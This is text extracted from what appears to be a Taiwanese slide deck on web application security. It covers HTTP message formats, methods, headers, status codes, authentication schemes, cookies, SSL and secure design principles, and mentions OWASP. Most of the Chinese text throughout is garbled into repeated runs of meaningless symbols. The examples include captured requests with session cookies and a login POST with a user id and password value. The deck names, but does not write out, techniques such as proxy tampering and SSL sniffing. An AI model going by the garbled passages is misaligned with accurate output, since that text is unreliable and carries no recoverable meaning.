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� � �� �� �� � : � � ��� � ��� � ��� � �� 13 ����
� � � � �� � � �� � � �� � � � (C++����ASP.NET����C#):

– PKI ��������������������� � � 	� � � 	� � � 	� � � 	 ����
 � � 	
 � � 	
 � � 	
 � � 	 DRM � � � � 
�SOC(Security Operation Center) � � � � � � �� � � � � � �� � � � � � �� � � � � � �

� � �  ! " # � $ % & ' ( )� �  ! " # � $ % & ' ( )� �  ! " # � $ % & ' ( )� �  ! " # � $ % & ' ( )

� � 	 
 �� 	 
 �� 	 
 �� 	 
 �

�CEH (Certified Ethical Hacker)

�CISSP (Certified Information Systems Security Professional )
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� * +* +* +* +

�HTTP , -, -, -, -
� � . � � / 0� . � � / 0� . � � / 0� . � � / 0

� � � 1 2  ! � 3 � � 4� � 1 2  ! � 3 � � 4� � 1 2  ! � 3 � � 4� � 1 2  ! � 3 � � 4

�OWASP 2007 Top 10�OWASP 2007 Top 10
�Others

� 5 6 � 7 - 85 6 � 7 - 85 6 � 7 - 85 6 � 7 - 8

� 9 :9 :9 :9 :

� ; < = >; < = >; < = >; < = >



� �� �� �� �� �� �� �� �

� �  � � � ��  � � � ��  � � � ��  � � � � ����� � � � � � � � � � �� � � � � � � � � � �� � � � � � � � � � �� � � � � � � � � � �
� ��  ! "� ��  ! "� ��  ! "� ��  ! " ����# $ � % & ' � ( � �)# $ � % & ' � ( � �)# $ � % & ' � ( � �)# $ � % & ' � ( � �)
� * +� * +� * +� * + ����, - �. / 0 1 2 3 4 5 6 7 8, - �. / 0 1 2 3 4 5 6 7 8, - �. / 0 1 2 3 4 5 6 7 8, - �. / 0 1 2 3 4 5 6 7 8 ����
9 & ' : �; <9 & ' : �; <9 & ' : �; <9 & ' : �; < ====

� > � ? @ A B C> � ? @ A B C> � ? @ A B C> � ? @ A B C : D E F G H � ID E F G H � ID E F G H � ID E F G H � I� > � ? @ A B C> � ? @ A B C> � ? @ A B C> � ? @ A B C : D E F G H � ID E F G H � ID E F G H � ID E F G H � I
� ���� 358 ���� – � � �� � � � � � � �� � �� � � � � � � �� � �� � � � � � � �� � �� � � � � � � �

� ���� 359 ���� – � � �� � � �� � �� � � �� � �� � � �� � �� � � �

� ���� 360 ���� – �  �� � � � � � � ��  �� � � � � � � ��  �� � � � � � � ��  �� � � � � � � �

� ���� 361 ���� – ! " # � �! " # � �! " # � �! " # � � $$$$% & � ' (% & � ' (% & � ' (% & � ' ( 1/2
� ���� 362 ���� – ) * + � �� , - �) * + � �� , - �) * + � �� , - �) * + � �� , - �

� ���� 363 ���� – 358 ~ 360 . / 0 1 2. / 0 1 2. / 0 1 2. / 0 1 2



	 
	 
	 
	 




� �  � � � � �� �  � � � � �� �  � � � � �� �  � � � � �� �  � � � � �� �  � � � � �� �  � � � � �� �  � � � � �



� J K L M N O P QJ K L M N O P QJ K L M N O P QJ K L M N O P Q

� R S T U �  V W X YR S T U �  V W X YR S T U �  V W X YR S T U �  V W X Y

� 3 ? @3 ? @3 ? @3 ? @

� A B C &A B C &A B C &A B C & / 3 D � �3 D � �3 D � �3 D � �

Why ?Why ?
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� A B C &A B C &A B C &A B C & / 3 D � �3 D � �3 D � �3 D � �

� Z [ \ ] ^ _Z [ \ ] ^ _Z [ \ ] ^ _Z [ \ ] ^ _ ����̀ . � �` . � �` . � �` . � � a � N O Ta � N O Ta � N O Ta � N O T

� 3 ? @ E F3 ? @ E F3 ? @ E F3 ? @ E F

� A B C &A B C &A B C &A B C & / 3 D � � E G H I J K3 D � � E G H I J K3 D � � E G H I J K3 D � � E G H I J K



Gartner said …..
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� b c U � � d eb c U � � d eb c U � � d eb c U � � d e :
� L M N O� � ( )L M N O� � ( )L M N O� � ( )L M N O� � ( )

� N O� � P � Q R S T U V WN O� � P � Q R S T U V WN O� � P � Q R S T U V WN O� � P � Q R S T U V W

� T J N O� � P X Y ZT J N O� � P X Y ZT J N O� � P X Y ZT J N O� � P X Y Z

� T J N O� � [ \ ] ^ P X Y ZT J N O� � [ \ ] ^ P X Y ZT J N O� � [ \ ] ^ P X Y ZT J N O� � [ \ ] ^ P X Y Z -> _ ` a b_ ` a b_ ` a b_ ` a b

� � � � � � �� � � � � � �� � � � � � �� � � � � � �� � � � � � �� � � � � � �� � � � � � �� � � � � � �
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� T J N O� � [ \ ] ^ P X Y ZT J N O� � [ \ ] ^ P X Y ZT J N O� � [ \ ] ^ P X Y ZT J N O� � [ \ ] ^ P X Y Z -> _ ` a b_ ` a b_ ` a b_ ` a b

� f gf gf gf g :
� 3 43 43 43 4 ���� 5 6 7 8 � 9 : ;5 6 7 8 � 9 : ;5 6 7 8 � 9 : ;5 6 7 8 � 9 : ; <<<<

� = >= >= >= > ���� ? @ A B? @ A B? @ A B? @ A B $$$$C ( D EC ( D EC ( D EC ( D E <<<<

� F G H IF G H IF G H IF G H I ���� F G J KF G J KF G J KF G J K <<<<

� L , H IL , H IL , H IL , H I ���� " M N O" M N O" M N O" M N O <<<<

� P Q H IP Q H IP Q H IP Q H I ���� P > M RP > M RP > M RP > M R <<<<



� � � � � �� � � � � �� � � � � �� � � � � �� � � � � �� � � � � �� � � � � �� � � � � � (Taiwan)(Taiwan)

(http://www.isecutech.com.tw/main/index.aspx)資安人
(http://www.itis.tw/compromised)資安之 眼



� � � � � �� � � � � �� � � � � �� � � � � �� � � � � �� � � � � �� � � � � �� � � � � � (Global)(Global)
Z o n e -h (http://www.zone-h.org/archive/published=0)



� �  ! " # $ %� �  ! " # $ %� �  ! " # $ %� �  ! " # $ %� �  ! " # $ %� �  ! " # $ %� �  ! " # $ %� �  ! " # $ %
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sssst ut ut ut usssst ut ut ut u o �Uo �Uo �Uo �Uo �Uo �Uo �Uo �U Web ATM siteWeb ATM sitevvvvvvvv w xw xw xw xw xw xw xw x yyyyyyyy!!zzzzzzzz



& ' ( � � ) � � * +& ' ( � � ) � � * +& ' ( � � ) � � * +& ' ( � � ) � � * +& ' ( � � ) � � * +& ' ( � � ) � � * +& ' ( � � ) � � * +& ' ( � � ) � � * +
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������ � � � 	 
 �
….Only ?

Requirement Define Design Develop/Test Deploy Maintain

������ � � � 	 
 �



& '& '& '& '& '& '& '& ' ,,,,( � � )( � � )( � � )( � � ) ----,,,,( � � )( � � )( � � )( � � ) ---- . . .. . .. . .. . .. . .. . .. . .. . .

� { | R }{ | R }{ | R }{ | R } ~~~~

�HTML ?
�Java Script ?
�CSS ?�CSS ?
�DHTML ?
�XML ?
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/ 0 1 & ' � ) 2 
/ 0 1 & ' � ) 2 
/ 0 1 & ' � ) 2 
/ 0 1 & ' � ) 2 
/ 0 1 & ' � ) 2 
/ 0 1 & ' � ) 2 
/ 0 1 & ' � ) 2 
/ 0 1 & ' � ) 2 


�C����C++
�Perl
�Shell Script …
�PHP�PHP
�Java ���� JSP����Applet����Servlet
�ASP
�.Net ���� ASP.NET����C#����VB.NET…
�PYTHON
�Ruby



/ 0 1 & 3 4 5 � )/ 0 1 & 3 4 5 � )/ 0 1 & 3 4 5 � )/ 0 1 & 3 4 5 � )/ 0 1 & 3 4 5 � )/ 0 1 & 3 4 5 � )/ 0 1 & 3 4 5 � )/ 0 1 & 3 4 5 � )

�Microsoft Internet Information Service 
(IIS)
�PHP����ASP����.Net����CGI

�Apache�Apache
�PHP����PYTHON����CGI

�Tomcat����Resin����JBOSS����WebLogic
�Java

�Ruby On Rails (ROR)
�Ruby



& ' 6 7 8 9 : �& ' 6 7 8 9 : �& ' 6 7 8 9 : �& ' 6 7 8 9 : �& ' 6 7 8 9 : �& ' 6 7 8 9 : �& ' 6 7 8 9 : �& ' 6 7 8 9 : �

InternetInternet
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�HTTP - HyperText 
Transfer Protocol
� N Oc P d HN Oc P d HN Oc P d HN Oc P d H

�RFC 

Protocol PositionProtocol Position

– 1945
– 2616 , 2617
– 2965

�Book : eeee HTTP 
Essentials ffff(2001)
- Stephen Thomas



HTTP Request FormatHTTP Request Format

�
������� �!���"���#��
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������

(Request Line)

(Optional)

& & '

(�

�	���� ����

(�����)



HTTPHTTP Request FormatRequest Format

� � �� �� �� � : “ � 	 1� 	 1� 	 1� 	 1 ” R � � }R � � }R � � }R � � }
GET /main/index.aspx HTTP/1.1
Accept: */*
Accept-Language: zh-tw
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; 

.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 
3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; MSN 
OptimizedIE8;ZHTW)

Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.isecutech.com.tw
Pragma: no-cache
Cookie: __utma=232091143.867869796.1244101550.1249441651.1249542945.41; 

__utmz=232091143.1244101550.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none
); __utmb=232091143; __utmc=232091143; 
ASP.NET_SessionId=b3ys5m45tfsh1i55hzhkenfw
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HTTPHTTP Request FormatRequest Format

� � �� �� �� � : R � � � } �R � � � } �R � � � } �R � � � } �
POST /user/login.htm HTTP/1.1
Referer: https://member.ruten.com.tw:443/user/login.htm
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
Host: member.ruten.com.twHost: member.ruten.com.tw
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 

1.1.4322)
Pragma: no-cache
Cookie: __utma=1.1668397861.1187588741.1187588741.1187588741.1; __utmc=1; 

__utmz=1.1187588741.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); 
__utmb=1; __utmb=1

userid=777-777-1911form%40value777.com&button=%b5n%a4J&userpass=admin
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HTTP Response FormatHTTP Response Format

�"���#�����������

��������$���%��

& & '
������

(Status Line)

(Optional)

& & '

(�

�	���� ����

(�����)



� � �� �� �� � : “ � 	 1� 	 1� 	 1� 	 1 ” R � � }R � � }R � � }R � � }
HTTP/1.1 200 OK
Date: Thu, 06 Aug 2009 07:20:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727

HTTPHTTP Response FormatResponse Format

X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 119260

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Information Security ……..
………………………………………
………………………………………
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�WebProxy : BurpSuite

= >= >= >= >= >= >= >= > HTTPHTTP ? @? @? @? @? @? @? @? @

Demo ���� ….



Request :Request : MethodMethod

g hg hg hg h ] i j k] i j k] i j k] i j k

GET ������

POST � � �	 
 ��� � (  � )

CONNECT � � � � (�proxy)CONNECT � � � � (�proxy)

HEAD � ��� � � Header � �

OPTIONS � � � � � � � � Method

TRACE ��� �� ! � " # $ % ��

PUT � � & ' 
 � � � (

DELETE ) * � � � ( + & '



GETGET

�HTTP/1.0  example –
GET / HTTP/1.0
Host: www.google.com
\n

�HTTP/1.1 persistent 
connection example –
GET / HTTP/1.1
Host: www.google.com
Connection: Keep-Alive
\n



POSTPOST

�Login example –
POST /login.asp HTTP/1.1
Host: www.google.com
Content-Length: 21
\n
username=abc&test=123

����������	�
����������	�
����������	�
����������	�




POST with URL EncodingPOST with URL Encoding

�Login example –
POST /login.asp HTTP/1.1
Host: www.google.com
Content-Type: application/x-www-form-urlencoded

Content-Length: 33
\n
username=%61%62%63&test=%31%32%33

� � ��������	�
� � ��������	�
� � ��������	�
� � ��������	�




� Banner grabbing by telnet
� Sending “HEAD / HTTP/1.0” to www.hinet.net port 80

HEADHEAD



OPTIONSOPTIONS



Headers : GeneralHeaders : General

g hg hg hg h ] i j k] i j k] i j k] i j k

Connection � � , -
(explicitly close�persistent connections)

Content-Type Body� � . / (MIME-Type)
Content-Length Body� � 0 1 (bytes)Content-Length Body� � 0 1 (bytes)

Note : This header is send for most static 
documents, but not for dynamically generated 
content�

Content-Encoding Body� � � 2 3 4 �
Transfer-Encoding Body� � 5 6 4 � (e.g. chunked)



Headers : for RequestHeaders : for Request

g hg hg hg h ] i j k] i j k] i j k] i j k

Accept 7 8 � 9 : ; � & ' < �

Accept-Encoding 7 8 � 9 : ; � Body� � = > 2 3 4 �
Accept-Language 7 8 � 9 : ; � Body� � ? @ 2 3 4 �
Cookie 5 � cookieA �� !
Host B 7 8 + � C (IPDDN)

If-Modified-Since , - cache� � � E F G
Refer ( H I � J

User-Agent 7 8 � . /



Headers : for ResponseHeaders : for Response

g hg hg hg h ] i j k] i j k] i j k] i j k

Date � � � ( + K #

Server � � � + Web� L  �

Location � M N O P Q R � S T

WWW-Authenticate ��U V 4 �

Keep-Alive W X � � + Y Z (Persistent)

Set-Cookie Y Z cookie� [ �
X-Powered-By \ ]  � ? @

Cache-Control ^ � � � � � cache ! - + , -
E _Pragma

Expires



Response : Status CodeResponse : Status Code

Status Code ����������������

1XX Information
2XX Success
3XX Redirection
4XX Client Error

�Reference :
�http://www.w3.org/Protocols/rfc2616/rfc2616-

sec10.html
�http://en.wikipedia.org/wiki/List_of_HTTP_status_co

des

4XX Client Error
5XX Server Error



� � � U� � U� � U� � U Status Code
�200 - OK 
�301 - Moved Permanently (Redirect)
�302 - Moved Temporarily(Found) (Redirect)
�304 - Not Modified (for Cache)

Response : Status CodeResponse : Status Code

�304 - Not Modified (for Cache)
�400 - Bad Request
�401 - Unauthorized (Authorization Required)
�403 - Forbidden
�404 - Not Found
�500 - Internal Server Error



� � A �� � A �� � A �� � A �� � A �� � A �� � A �� � A � ??

� , � � � � U 	 p � c � � � � � �, � � � � U 	 p � c � � � � � �, � � � � U 	 p � c � � � � � �, � � � � U 	 p � c � � � � � �

� l m n ol m n ol m n ol m n o : p q rp q rp q rp q r ! ���� AP s t us t us t us t u

� v A w Ox � �v A w Ox � �v A w Ox � �v A w Ox � � (Session) : y ry ry ry r ! ���� AP s t us t us t us t u

– Request/Response Model
– � � � � 	 
 � �  � � � � � � � �� � � � 	 
 � �  � � � � � � � �� � � � 	 
 � �  � � � � � � � �� � � � 	 
 � �  � � � � � � � � ����� � � �� � � �� � � �� � � �

� � � � � � �  ! " # $� � � � � � �  ! " # $� � � � � � �  ! " # $� � � � � � �  ! " # $

� z Z � �z Z � �z Z � �z Z � � : y ry ry ry r ! ���� AP s t us t us t us t u

� { | � Q � .{ | � Q � .{ | � Q � .{ | � Q � .

– % &% &% &% & : ' �' �' �' � ! ���� SSL " ( )" ( )" ( )" ( )

– * + ,* + ,* + ,* + , : ' �' �' �' � ! ���� AP - . /- . /- . /- . /

– 0 1 2 � ,0 1 2 � ,0 1 2 � ,0 1 2 � , 3333' �' �' �' � 4444���� AP - . /- . /- . /- . /



HTTPHTTP AuthenticationAuthentication

�  � �� �	
�� �
� �� � � � � �� ��  � �� �	
�� �
� �� � � � � �� ��  � �� �	
�� �
� �� � � � � �� ��  � �� �	
�� �
� �� � � � � �� �

� � 
�� �� � � � 	� �� � � 	� �� �� � 
�� �� � � � 	� �� � � 	� �� �� � 
�� �� � � � 	� �� � � 	� �� �� � 
�� �� � � � 	� �� � � 	� �� �

� � � � � �� ��� � ��� � � � � �� ��� � ��� � � � � �� ��� � ��� � � � � �� ��� � ��
� � ��� �� � ��� �  �! 	" � � �	#� � ��� �� � ��� �  �! 	" � � �	#� � ��� �� � ��� �  �! 	" � � �	#� � ��� �� � ��� �  �! 	" � � �	#

$ $ $$ $ $$ $ $$ $ $

% % %% % %% % %% % % &&&&� � ��	 �� ���	� �' �
� �� � ��	 �� ���	� �' �
� �� � ��	 �� ���	� �' �
� �� � ��	 �� ���	� �' �
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�Header����
�Response

– 401 Authorization Required
– WWW-Authenticate: [Mech]

� � [Mech] � 	 
 �[Mech] 
Basic
Digest
Integrated (NTLM�Kerberos)

�Request
– Authorization: [Mech] value



= B C D= B C D= B C D= B C D= B C D= B C D= B C D= B C D

�Encoding ( � �� �� �� � ) : Base645555HTML Encoding

�Hash ( � � � �� � � �� � � �� � � � ) : MD55555SHA1

�� � � �
f(data)

�Hash ( � � � �� � � �� � � �� � � � ) : MD55555SHA1

�Encrypt ( � �� �� �� � ) : AES
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(http://www.rsa.com/rsalabs/node.asp?id=2176)

�� � � �

f(data, key)

�� � � �
f(data)
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�Basic
�Base64 encoding of {username:password}
� } ~ 3 � � � � S T � � �} ~ 3 � � � � S T � � �} ~ 3 � � � � S T � � �} ~ 3 � � � � S T � � �

� � � � �� � � �� � � �� � � � SSL � � � �� � � �� � � �� � � �

�Digest
�Hash of password
� � � � T� � � T� � � T� � � T IIS ] ^ � P � �] ^ � P � �] ^ � P � �] ^ � P � �

� } ~ 3 � � � � � �} ~ 3 � � � � � �} ~ 3 � � � � � �} ~ 3 � � � � � �
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�Integrated Windows Authentication
�OOOOchallenge/response model � W � * x � �� W � * x � �� W � * x � �� W � * x � �

� E � � � 3 ? @E � � � 3 ? @E � � � 3 ? @E � � � 3 ? @

�NTLM
– 6 � 7 86 � 7 86 � 7 86 � 7 8 IIS� 9 � : ;� 9 � : ;� 9 � : ;� 9 � : ;

– 6 /6 /6 /6 / client < � = � � �< � = � � �< � = � � �< � = � � �

�Kerberos
–>>>> NTLM ? @ A B? @ A B? @ A B? @ A B ( C D E 9 F G HI !C D E 9 F G HI !C D E 9 F G HI !C D E 9 F G HI ! )
– Client J KJ KJ KJ K Kerberos Server L M NL M NL M NL M N IIS� O �� O �� O �� O �

HHHH domain P � Q � HP � Q � HP � Q � HP � Q � H trusted domain.
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�in Response Header
�Set-Cookie:  [NAME]=[VALUE]; 

path=[PATH]; expires=[TIME]; 
domain=[DOMAIN]

�in Request Header
�Cookie: [NAME1]=[VALUE1]; 

[NAME2]=[VALUE2] ...

�Stored in Client Slide (per Browser)
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�Stored in Server Side (per User)
� � � K �� � K �� � K �� � K �

�URL Parameter
�Hidden Form Data Field�Hidden Form Data Field
�Cookie

� ! �  ¡ � � U! �  ¡ � � U! �  ¡ � � U! �  ¡ � � U cookie ¢ £¢ £¢ £¢ £
�PHPSESSID
�ASPSESSIONID
�JSESSIONID



HTTPSHTTPS

�HTTP+ SSL(Secure Sockets Layer)
�SSL is designed to encrypt “any” TCP/IP 

based network traffic
– ������������
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SSL HandshakeSSL Handshake ++ Secure ChannelSecure Channel
Client

ClientHello

ServerHello

Certificate

ServerHelloDone
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Server
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ChangeCipherSpec

ClientKeyExchange

Finished

ChangeCipherSpec

ServerHelloDone

Finished
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Gmail Login using SSLGmail Login using SSL
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S TS TS TS TS TS TS TS T

� R � � 	R � � 	R � � 	R � � 	 = SSL?
�SSL ¤ f g � ¥ ¦ § N O U ¨ ©¤ f g � ¥ ¦ § N O U ¨ ©¤ f g � ¥ ¦ § N O U ¨ ©¤ f g � ¥ ¦ § N O U ¨ © !
�SSL ª c � m «ª c � m «ª c � m «ª c � m « ?
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Moxie � 	 G  � 	 G  � 	 G  � 	 G   SSLSNIF � 7� 7� 7� 7 ����� ¡ u� ¡ u� ¡ u� ¡ u SSL¢¢¢¢
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� External Systems are Insecure
� Minimize Attack Surface Area
� Secure Defaults
� Least Privilege
� Separation of Duties
� Defense in Depth� Defense in Depth
� Fail Securely
� Do not trust Security through 

Obscurity
� Simplicity

http://farm4.static.flickr.com/3009/2593535211_
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Saltzer, J. H., and Schroeder, M. D., “The Protection of Information in Computer System”, 
Fourth ACM Symposium on Operation Systems Principles, October 1974.
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�HTTP Message

– HTTP Header
URL Query Strings
Referer
Cookie ……
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Cookie ……

– HTTP Body( � � � �� � � �� � � �� � � � ����� � � �� � � �� � � �� � � � )

�Other Network Protocol Inputs
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, - � � . / �, - � � . / �, - � � . / �, - � � . / � �SQL Injection 
0 10 10 10 1 OS / �/ �/ �/ � �Command Injection
2 3 4 5 6 7 82 3 4 5 6 7 82 3 4 5 6 7 82 3 4 5 6 7 8 �Code Injection
, 9 : ; < = > ? / �, 9 : ; < = > ? / �, 9 : ; < = > ? / �, 9 : ; < = > ? / � �XSS Attack 
@ � A � B C@ � A � B C@ � A � B C@ � A � B C �Malicious File Execution

�Insecure Direct Object Reference
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�¹�¹�¹�¹� ºººº» ¼ ½ ¾ ® ¿ U» ¼ ½ ¾ ® ¿ U» ¼ ½ ¾ ® ¿ U» ¼ ½ ¾ ® ¿ U Java Script °̈ ©°̈ ©°̈ ©°̈ ©

� · ¸ ¹ º » ¼ � ½ ¾· ¸ ¹ º » ¼ � ½ ¾· ¸ ¹ º » ¼ � ½ ¾· ¸ ¹ º » ¼ � ½ ¾ !!!
– Rebuild Web Page
– Use Browser Extensions
– Use Web Proxy

Demo ���� ….
– Use Web Proxy
– Write Program

� ½ ¾ � À½ ¾ � À½ ¾ � À½ ¾ � À ����Á ¾ � ZÁ ¾ � ZÁ ¾ � ZÁ ¾ � Z !
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�Centralize Your Approach

External Systems are Insecure (cont.)External Systems are Insecure (cont.)



�Be Careful with Canonicalization Issues
� ¿ À » Á Â Ã Ä P Å Æ g h¿ À » Á Â Ã Ä P Å Æ g h¿ À » Á Â Ã Ä P Å Æ g h¿ À » Á Â Ã Ä P Å Æ g h

– somefile.dat 
– c:\temp\subdir\..\somefile.dat 
– .\somefile.dat 

External Systems are Insecure (cont.)External Systems are Insecure (cont.)

– .\somefile.dat 
– c%3A%5Ctemp%5Csubdir%5C%2E%2E%5Cso

mefile.dat 
(���� c:\temp\subdir\..\somefile.dat)



�Constrain, Reject, and Sanitize Input 

External Systems are Insecure (cont.)External Systems are Insecure (cont.)



Minimize Attack Surface AreaMinimize Attack Surface Area
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� Â Ã Ä � ( Å ÆÂ Ã Ä � ( Å ÆÂ Ã Ä � ( Å ÆÂ Ã Ä � ( Å Æ
� r Ç Èr Ç Èr Ç Èr Ç È

� É Ê H kÉ Ê H kÉ Ê H kÉ Ê H k

�º	 Ç È � É Ê Ëº	 Ç È � É Ê Ëº	 Ç È � É Ê Ëº	 Ç È � É Ê Ë
Ì ÍÌ ÍÌ ÍÌ Í

Minimize Attack Surface AreaMinimize Attack Surface Area

Ì ÍÌ ÍÌ ÍÌ Í
� Ë ÌË ÌË ÌË Ì

– Slammer and 
CodeRed n on on on o

– p �p �p �p � SQL Injection 
q r s tq r s tq r s tq r s t

� Í Î Ï Ï 6 ÐÍ Î Ï Ï 6 ÐÍ Î Ï Ï 6 ÐÍ Î Ï Ï 6 Ð !

http://www.aemma.org/training/mounted/images/goliath.jpg



Secure DefaultsSecure Defaults

� N O Î Ï Ð | È Ñ ² 	 p UN O Î Ï Ð | È Ñ ² 	 p UN O Î Ï Ð | È Ñ ² 	 p UN O Î Ï Ð | È Ñ ² 	 p U

� Ñ � � Ò Ó ÔÑ � � Ò Ó ÔÑ � � Ò Ó ÔÑ � � Ò Ó Ô

� � Ò Õ Ö × Ø� Ò Õ Ö × Ø� Ò Õ Ö × Ø� Ò Õ Ö × Ø

� � � Ñ � P � T Z Ç X �� � Ñ � P � T Z Ç X �� � Ñ � P � T Z Ç X �� � Ñ � P � T Z Ç X �

– Design ACLs into the application from the 
beginning !

– Create your own ACLs during application 
installation !



Least PrivilegeLeast Privilege

�Run with just enough privilege to get the 
job done, and no more!
� Ù Ú � T Z ÇÙ Ú � T Z ÇÙ Ú � T Z ÇÙ Ú � T Z Ç

� Ù Û � T Ü Ý � �Ù Û � T Ü Ý � �Ù Û � T Ü Ý � �Ù Û � T Ü Ý � �

� Ù ÛÙ ÛÙ ÛÙ Û � T Þ ¤� T Þ ¤� T Þ ¤� T Þ ¤



Separation of DutiesSeparation of Duties

� Ò Ó X , Í K Ô + L U Õ Ö � × Ø m 1Ò Ó X , Í K Ô + L U Õ Ö � × Ø m 1Ò Ó X , Í K Ô + L U Õ Ö � × Ø m 1Ò Ó X , Í K Ô + L U Õ Ö � × Ø m 1

� ß ¥ Ã Þ à á ³ A â ãß ¥ Ã Þ à á ³ A â ãß ¥ Ã Þ à á ³ A â ãß ¥ Ã Þ à á ³ A â ã

� � ä � å� ä � å� ä � å� ä � å

� Ù �Ù �Ù �Ù � :
�Administrations � �� �� �� � Log Management
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Defense in DepthDefense in Depth -- ArchitectureArchitecture
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Defense in Depth Defense in Depth –– SW ModelsSW Models
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DWORD dwRet = IsAccessAllowed(…);

if (dwRet == ERROR_ACCESS_DENIED) {

// Security check failed.

// Inform user that access is denied

Fail SecurelyFail Securely

// Inform user that access is denied

} else {

// Security check OK.

// Perform task…

}

What if 
IsAccessAllowed()

returns 
ERROR_NOT_

ENOUGH_MEMORY?



�Do NOT:
� ³ A æ ç < 
 � P è é ê ë³ A æ ç < 
 � P è é ê ë³ A æ ç < 
 � P è é ê ë³ A æ ç < 
 � P è é ê ë

� è é � � �ì  � �è é � � �ì  � �è é � � �ì  � �è é � � �ì  � �

� í Þ ¤ î ï � � � �í Þ ¤ î ï � � � �í Þ ¤ î ï � � � �í Þ ¤ î ï � � � �

Fail Securely(cont.)Fail Securely(cont.)

�Do:
� � � ³ A G ð Ñ � P � . ê ë� � ³ A G ð Ñ � P � . ê ë� � ³ A G ð Ñ � P � . ê ë� � ³ A G ð Ñ � P � . ê ë

� w Ow Ow Ow O exception handling blocks
� ñ ò � � ó A ô õ ö ÷ñ ò � � ó A ô õ ö ÷ñ ò � � ó A ô õ ö ÷ñ ò � � ó A ô õ ö ÷



� � . Ú ±� . Ú ±� . Ú ±� . Ú ± “¹¹¹¹” Û ÜÛ ÜÛ ÜÛ Ü ……
� � ø X Y P � i ; ù ó \� ø X Y P � i ; ù ó \� ø X Y P � i ; ù ó \� ø X Y P � i ; ù ó \ HTMLúúúú
� � � û ü ý \ þ = ; ù � H Å� � û ü ý \ þ = ; ù � H Å� � û ü ý \ þ = ; ù � H Å� � û ü ý \ þ = ; ù � H Å

� � Q� Q� Q� Q ����� T � H ó� T � H ó� T � H ó� T � H ó ���� \ � � ú\ � � ú\ � � ú\ � � ú

Do not Trust Security through Do not Trust Security through ObscurityObscurity

� Ñ � � �Ñ � � �Ñ � � �Ñ � � � � �� �� �� � � Ò ó� Ò ó� Ò ó� Ò ó ����\ � � Ò U\ � � Ò U\ � � Ò U\ � � Ò U � �� �� �� � úúúú

�Do not edit source code online



SimplicitySimplicity

� � �� �� �� � �� �� íí íí � � 	� � 	� � 	� � 	
� L M N O L PL M N O L PL M N O L PL M N O L P QQQQ� R� R� R� R S T K U � V ) 6 7 8 " W CS T K U � V ) 6 7 8 " W CS T K U � V ) 6 7 8 " W CS T K U � V ) 6 7 8 " W C

� X Y Z ) 6 7 [ \ ]̂ _ ` a b c dX Y Z ) 6 7 [ \ ]̂ _ ` a b c dX Y Z ) 6 7 [ \ ]̂ _ ` a b c dX Y Z ) 6 7 [ \ ]̂ _ ` a b c d

� 6 7 e f g h i Z j k c l m6 7 e f g h i Z j k c l m6 7 e f g h i Z j k c l m6 7 e f g h i Z j k c l m

� 99 99 
 � � �
 � � �
 � � �
 � � �
� c n o pc n o pc n o pc n o p� c n o pc n o pc n o pc n o p

� q r s $ t b k c l mq r s $ t b k c l mq r s $ t b k c l mq r s $ t b k c l m

� u v S T w x � ) y zu v S T w x � ) y zu v S T w x � ) y zu v S T w x � ) y z QQQQ{ | } ~ �{ | } ~ �{ | } ~ �{ | } ~ � ����

� � � 	 g� � 	 g� � 	 g� � 	 g ….

� Simplicity is Beauty !
� Design Pattern ! Coding Standard !
� Better for Code Reviewing ���� Easy to Find Security Flaws
� Better for Code Maintenance ���� Easy to Fix Security Flaws
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Web Application Vulnerabilities 
and Protections



����������������� � � � � � 	 
 �� � � � � � 	 
 �� � � � � � 	 
 �� � � � � � 	 
 �� � � � � � 	 
 �� � � � � � 	 
 �� � � � � � 	 
 �� � � � � � 	 
 �

Û Ý Û ÞÛ Ý Û ÞÛ Ý Û ÞÛ Ý Û Þ ����ß à ¹áß à ¹áß à ¹áß à ¹á ââââ

¹Û Ý ã Û Þ¹Û Ý ã Û Þ¹Û Ý ã Û Þ¹Û Ý ã Û Þ ����, ä , ;, ä , ;, ä , ;, ä , ; ââââ

¹Û Ý¹Û Ý¹Û Ý¹Û Ý ����¹Û Þ¹Û Þ¹Û Þ¹Û Þ ����å à È æå à È æå à È æå à È æ ====¹Û Ý¹Û Ý¹Û Ý¹Û Ý ����¹Û Þ¹Û Þ¹Û Þ¹Û Þ ����å à È æå à È æå à È æå à È æ ====

ççççè é ê �è é ê �è é ê �è é ê � ���� ë � ìë � ìë � ìë � ì íííí



OWASPOWASP

�Open Web Application Security Project
� Â ÃÂ ÃÂ ÃÂ Ã Web î ï 	 p ð ñî ï 	 p ð ñî ï 	 p ð ñî ï 	 p ð ñ

� S Y � � � �S Y � � � �S Y � � � �S Y � � � � ����� � � � � �� � � � � �� � � � � �� � � � � � QQQQ� ; x � �� ; x � �� ; x � �� ; x � � 82 Y � � � � _ �Y � � � � _ �Y � � � � _ �Y � � � � _ �

����QQQQ% � � � � #% � � � � #% � � � � #% � � � � # � � � � � �� � � � � �� � � � � �� � � � � � Web � � w x �� � w x �� � w x �� � w x � �  �  �  �   ����¡ ¢¡ ¢¡ ¢¡ ¢ ]]]]

£ ¤ ¥ C£ ¤ ¥ C£ ¤ ¥ C£ ¤ ¥ C QQQQ¦ § ¨ © ª � � « ¬ "  ®¦ § ¨ © ª � � « ¬ "  ®¦ § ¨ © ª � � « ¬ "  ®¦ § ¨ © ª � � « ¬ "  ® ¯ � ° � ±¯ � ° � ±¯ � ° � ±¯ � ° � ± K D + � 6K D + � 6K D + � 6K D + � 6

(http://www.owasp.org/index.php/Main_Page)

7 ) w x �7 ) w x �7 ) w x �7 ) w x � ����

� ² ³ ´ µ² ³ ´ µ² ³ ´ µ² ³ ´ µ :
– ��������	��������	��������	��������	(FTC)



���� ����� ����� ����� � �� � � � � � � ��� � � � � � � ��� � � � � � � ��� � � � � � � �

PCI � �� �� �� � ����
